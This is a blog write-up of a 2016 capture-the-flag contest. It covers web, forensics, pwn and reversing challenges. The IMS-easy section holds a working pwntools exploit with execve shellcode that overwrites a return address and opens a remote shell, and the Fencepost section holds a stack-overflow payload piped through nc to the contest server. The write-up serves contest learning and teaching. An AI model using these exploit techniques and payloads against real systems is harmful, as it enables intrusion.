RC3CTF 2016 Writeup
# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)
I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.
We got 1540 points and ended in 147-th place.
I solved following challenges:
- All Trivias (writeups are omitted)
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fensepost - pwn 150
- Logmein - rev 100
- *FLE - rev 200 (after contest is over)
This blog post is writeups for those challenges.
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fencepost - pwn 150
- Logmein - rev 100
- FLE - rev 200
Who’s a good boy? - web 100
Just check the content of stylesheet (css file).
https://ctf.rc3.club:3000/doge.css
/*hiya*/ /*compress your frontend*/ /*here's a flag :)*/ flag:RC3-2016-CanineSS
Graphic Design - for 200
I saw # Blender v2.78 (sub 0) OBJ File:
at the first line of obj file.
I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).
After Blender has imported obj file, I got following scene:
Is there only a dynasaw? No, there’s a suspicious model:
I made dynasaw invisible and made suspious model visible, then I got flag!!
IMS easy - pwn 150
IMS holds records in stack and we can see stack and corrupt it.
C source code of IMS-easy may be like:
// .bss int* index; // 0x80f0f9c struct RECORD { // 12 bytes char product_code[8]; // 8 bytes int product_id; // 4 bytes } void print_menu(void) { _IO_puts("================================================"); _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha"); _IO_puts("================================================"); _IO_puts("1. Add record"); _IO_puts("2. Delete record"); _IO_puts("3. View record"); _IO_puts("4. Quit"); _IO_printf("Choose: ", "alpha"); return; } int process_choice(int* arg0, int* index) { char buf[]: // ebp-0x24 int user_index; // ebp-0x18 int i; // ebp-0xC _IO_fgets(buf, 0xc, stdin); // upto 12 chars stack[2034] = 0x0; eax = strtol(buf, stack[2034], 0xa); // eax = eax; if (eax == 0x2) { // delete _IO_printf("Enter index to delete: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtoul(buf, 0x0, 0xa); if ((user_index >= 0x0) && (*index > user_index)) { for (i = user_index + 0x1; i < *index; i++) { memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc); } *index -= 1; } else { _IO_puts("That record does not exist"); } return 0; } else if (eax == 0x1) { // register _IO_printf("Enter product ID: ", 0xa); _IO_fgets(buf, 0xc, stdin); // up to 12 chars eax = *index; *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa); _IO_printf("Enter product code: ", 0x0); _IO_fgets(buf, 0xc, stdin); // up to 12 chars var_14 = sub_80482c0(); // @plt if (var_14 != 0x0) { *(int8_t *)var_14 = 0x0; } eax = *index; sub_8048260(); *index += 0x1; return 0; } else if (eax == 0x3) { // view _IO_printf("Enter the index of the product you wish to view: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtol(buf, 0x0, 0xa); eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak _IO_printf("Product ID: %d, Product Code: ", eax); fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak fflush(stdout); return 0; } else { return 0x1; } } int main(void) { RECORD* records[N]; // esp+0x1c esp = (esp & 0xfffffff0) - 0x60; setbuf(stdout, 0x0); sub_8048290(); // sub_8048290@plt do { print_menu(); if (process_choice(records, index) != 0x0) { break; } _IO_printf("There are %d records in the IMS\n\n", *index); } while (true); return 0x0; }
To obtain shell, I did:
- write shellcode in records since NX bit is disabled
- overwrite return address to address of shellcode (records)
this is exploit code to get shell (very dirty, sorry):
from pwn import * from sys import argv # context.log_level = 'debug' BIN = "./IMS-easy" ## NOT WORKS!! ## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes) ## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" # ## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes) ## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" LOCAL = True def bp(): if LOCAL: raw_input("break point: ") e = ELF(BIN) if len(argv) > 1 and argv[1] == "r": LOCAL = False r = remote("ims.ctf.rc3.club", 7777) else: r = process(BIN) """ 1. Add record 2. Delete record 3. View record 4. Quit """ def add(product_id, product_code): r.sendline('1') r.sendline(product_id) r.sendline(product_code) def delete(index): r.sendline('2') r.sendline(index) def view(index): r.sendline('3') r.sendline(index) def quit(): r.sendline('4') def wait_for_choice(): r.recvuntil("Choose: ") def parse_view(): res = r.recvuntil("the IMS\n") # print res m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res) if m == None: log.error("view response error") _id, _code = m[0] return int(_id), u32(_code[4:8]), u32(_code[0:4]) DIG_INDEX = 7 # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" """ 0020| 0xffdfc7ac ("BBBBBBBB") 0024| 0xffdfc7b0 ("BBBB") 0028| 0xffdfc7b4 --> 0x0 0032| 0xffdfc7b8 ("BBBBBBBB\001") 0036| 0xffdfc7bc ("BBBB\001") 0040| 0xffdfc7c0 --> 0x1 0044| 0xffdfc7c4 --> 0x0 0048| 0xffdfc7c8 --> 0x0 0052| 0xffdfc7cc --> 0x0 0056| 0xffdfc7d0 --> 0x0 0060| 0xffdfc7d4 --> 0x0 0064| 0xffdfc7d8 --> 0x0 0068| 0xffdfc7dc --> 0x0 0072| 0xffdfc7e0 --> 0x0 0076| 0xffdfc7e4 --> 0x0 0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8") """ wait_for_choice() view("5") _, _, records_ptr = parse_view() records_ptr -= 0xe0 log.info("records = %#x" % records_ptr) """ 0056| 0xffa7da80 ("BBBBBBBB\003") 0060| 0xffa7da84 ("BBBB\003") 0064| 0xffa7da88 --> 0x3 """ # 0 wait_for_choice() add(str(u32(shellcode[8:12])), shellcode[0:8]) # 1 wait_for_choice() add(str(u32(shellcode[20:24])), shellcode[12:20]) # 2 wait_for_choice() add(str(0x114514), shellcode[24:28].ljust(8, '\x90')) # add(str(0x114514), "\x90"*8) for i in range(3): wait_for_choice() add(str(0x90909090), "\x90"*8) # nop sled # 6 (overwrite return address) wait_for_choice() add(str(records_ptr), "A"*8) bp() # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" wait_for_choice() quit() # trigger shellcode!! r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r [*] Stack is executable! [+] Opening connection to ims.ctf.rc3.club on port 7777: Done [*] records = 0xffb31b1c [*] Switching to interactive mode $ ls /home IMS-easy IMS-hard ubuntu $ cd /home/IMS-easy $ ls IMS-easy flag.txt $ cat flag.txt RC3-2016-REC0RDZ-G0T-R3KT
Fencepost - pwn 150
C source code of fencepost may like:
void congratz(void) { puts("Good job! Run on the server to get the actual flag."); return; } int main(void) { int var_4; // rbp-4 char[] user_input; // rbp-48 var_4 = 0xffffffff; puts("=== Welcome to the RC3 Secure CTF Login ==="); puts("=== Please enter the correct password below ==="); do { printf("Password: "); __isoc99_scanf("%s", user_input); rax = strlen(user_input); rax = rax + 0x1; user_input[rax] = '\0'; if ([rbp-0x4] == 0x0) { break; } rax = strcmp(user_input, "not-the-real-pass"); } while (rax != 0x0); if (var_4 == 0x0) { rax = congratz(); } return rax; }
We have to:
- overwrite [rbp-4] to be 0
BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.
To get flag:
tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload [katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091 === Welcome to the RC3 Secure CTF Login === === Please enter the correct password below === Password: RC3-2016-STACKPWN
Logmein - rev 100
Just use angr. find address is 0x4007f0 (congratz
), avoid address is 0x4007c0 (incollect
).
I used Hopper plugin I developed.
it took several seconds.
[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein found #avoid at 0x4007c0 found #find at 0x4007f0 finds = 0x4007f0 avoids = 0x4007c0 [*] executing angr script ==== [angr] ==== [*] angr exploring... [*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' ==== [angr:stderr] ==== /usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct) 1) ================ [*] solve done
FLE - rev 200
Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR
.
irc says just reverse it to get flag:
[04:17] <pwn3rs> any hints on rev 200 fle? [04:17] <READY4THESCHWIFT> RE IT [04:17] <wumb0> no [04:17] <wumb0> reverse it [04:18] <ducphan> lol fencepost changed category [04:18] <pwn3rs> reversed it in ida [04:18] <StatesideCash> yes [04:18] <pwn3rs> found the bad flag [04:18] <pwn3rs> and there is something in overlay [04:19] <magu> dont spoil
So what? …Oh, reverse
means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG
with \x7fELF
.
FLEのからくり(バイナリを[::-1]して先頭4バイトを"\x7fELF"にする)を見つけたときのふるかわプロの反応が面白かった
— しゃろ (@Charo_IT) November 21, 2016
following part is checking user input routine:
080480ae add ecx, eax 080480b0 inc ecx 080480b1 mov byte [ds:ecx], 0x0 080480b4 mov esi, esp 080480b6 call 0x80480bb 080480bb pop ecx ; XREF=_start+42 080480bc sub ecx, 0xbb 080480c2 push ecx 080480c3 push 0x0 080480c5 push 0x0 080480c7 mov eax, dword [ds:ecx+0x1d02] 080480cd bswap eax 080480cf push eax 080480d0 mov eax, dword [ds:ecx+0x1cfa] 080480d6 bswap eax 080480d8 push eax 080480d9 mov eax, dword [ds:ecx+0x1dd1] 080480df bswap eax 080480e1 push eax 080480e2 mov eax, dword [ds:ecx+0x1bc7] 080480e8 bswap eax 080480ea push eax 080480eb mov eax, dword [ds:ecx+0x148a] 080480f1 bswap eax 080480f3 push eax 080480f4 mov eax, dword [ds:ecx+0x1482] 080480fa bswap eax 080480fc push eax 080480fd mov eax, dword [ds:ecx+0x147a] 08048103 bswap eax 08048105 push eax 08048106 mov eax, dword [ds:ecx+0x1dc1] 0804810c bswap eax 0804810e push eax 0804810f mov eax, dword [ds:ecx+0x1bc2] 08048115 bswap eax 08048117 push eax 08048118 mov eax, esp 0804811a dec ebx 0804811b xor ecx, ecx 0804811d cmp ecx, ebx ; XREF=_start+163 0804811f jge 0x8048131 08048121 mov dl, byte [ds:eax] ; *cipher 08048123 xor dl, byte [ds:esi+ecx] ; user_input[ecx] 08048126 mov byte [ds:esi+ecx], dl 08048129 add eax, 0x1 0804812c add ecx, 0x1 0804812f jmp 0x804811d 08048131 add esp, 0x2c ; XREF=_start+147 08048134 pop ecx 08048135 lea edi, dword [ds:ecx+0x1bcc] 0804813b mov ecx, ebx 0804813d dec ecx 0804813e mov esi, esp 08048140 call calc_checksum 08048145 test eax, eax 08048147 jne avoid_0x804815a
It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:
# set break point at 0x08048118,in gdb, and see *$esp good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005" # set break point at 0x08048140 in gdb, and see *$edi # $edi = 0x8049bcc good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6" flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)]) print flag
the result is:
""" [katc@K_atc fle]$ python2 fle-solved.py RC3-2016-YEAH-DATS-BETTER-BOIIRC3 """
I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.
In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()